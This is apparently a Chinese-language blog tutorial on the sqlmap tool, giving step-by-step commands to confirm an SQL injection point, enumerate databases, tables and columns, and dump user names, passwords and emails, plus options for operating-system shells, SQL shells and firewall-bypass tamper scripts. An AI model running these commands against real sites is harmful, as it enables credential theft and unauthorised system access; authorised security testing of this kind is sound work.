sqlmap的使用

託帕發表於2018-07-24

注意事項:

sqlmap執行需要搭建python環境。也有無環境的安裝包

sqlmap只是用來檢測和利用sql注入點的,並不能掃描出網站有哪些漏洞,使用前請先使用掃描工具掃出sql注入點。

sqlmap命令區分大小寫

一、使用sqlmap

sqlmap的命令一般都是通用的,只有極少數命令是針對個別資料庫的。

第一步:判斷啊是否是注入點

 sqlmap.py -u "url"

使用 -u引數指定url,如果url存在注入點,將會顯示出web容器、資料庫版本資訊

第二步:獲取所有資料庫名

sqlmap.py -u "url" --dbs

使用-dbs讀取資料庫

第三步:檢視當前應用程式所用資料庫

sqlmap.py -u "url"  --current-db

使用 --current-db引數列出當前應用程式所使用的資料庫

第四步:列出制定資料庫的所有表

sqlmap.py -u "url" --table -D "bbs"

使用--table引數獲取資料庫表,-D引數指定資料庫

第五步:讀取指定表中的欄位名稱

sqlmap.py -u "url"  --columns -T "User" -D "bbs"

使用--columns引數列取欄位名

第六步:獲取指定欄位內容

sqlmap.py -u "url" --dump -C "UserName,passWord,Email" -T "[User]" -D "bbs"

--dump 轉存資料

-C引數指定欄位名稱

-T指定表名【因為user屬於資料庫關鍵字,所以建議加上【】】

-D指定資料庫名稱

 讀取完資料以後,sqlmap會把讀取的資料轉存到sqlmap/output目錄下,檔案以“Table.cvs”

儲存

通過以上六個步驟,sqlmap可以輕鬆地對存在注入漏洞的 URL讀取資料

二、sqlmap引數 例舉了一些常用引數

(1)測試注入點許可權

sqlmap.py -u [URL]     -- privileges  //測試所有使用者的許可權

sqlmap.py -u [URL]    -- privileges -U sa //測試sa使用者許可權

(2)執行shell命令

sqlmap.py -u  [URL]   --os-cmd="net user"   //執行net user命令

sqlmap.py -u  [URL]    --os-shell    //系統互動的shell

(3)獲取當前資料庫名稱

sqlmap.py -u  [URL]     --current-db

(4)執行sql命令

sqlmap.py -u [URL]    --sql-shell  //返回sql互動的shell,可以執行sql語句

sqlmap.py -u [URL]     --sql-query="sql"

(5)POST提交方式

sqlmap.py -u [URL]     --data "POST引數"

(6)顯示詳細的等級

sqlmap.py -u [URL]    --dbs -v 1

 

-v引數有以下7個等級

0、只顯示python錯誤以及嚴重的資訊。

 

1、同時顯示基本資訊和警告資訊。(預設)

 

2、同時顯示debug資訊。

 

3、同時顯示注入的payload。

 

4、同時顯示HTTP請求。

 

5、同時顯示HTTP響應頭。

 

6、同時顯示HTTP響應頁面。

 

如果你想看到sqlmap傳送的測試payload最好的等級就是3。

(7)注入HTTP請求

sqlmap.py -r head.txt --dbs    //head.txt 內容為HTTP請求

(8)注入等級

sqlmap.py -u [URL] --level 3

(9)將注入語句插到指定位置

sqlmap.py -u "http://www.xxx.com/id/2*.html" --dbs

有些網站採用了偽靜態頁面,這時再使用sqlmap注入是無能為力的,因為sqlmap無法識別哪裡是對伺服器提交的請求引數,所以sqlmap提供了“*”引數,將sql語句插入到指定位置,這一用法常用於偽靜態注入。

(10)使用sqlmap外掛

sqlmap.py -u [URL]  -tamper "space2morehash.py"

sqlmap自帶了很多外掛,可針對注入的sql語句進行編碼等操作,外掛都儲存在sqlmap目錄下的tamper資料夾中,這些外掛通常用來繞過waf

 

更詳細的引數參照 sqlmap.py   -hh

相關文章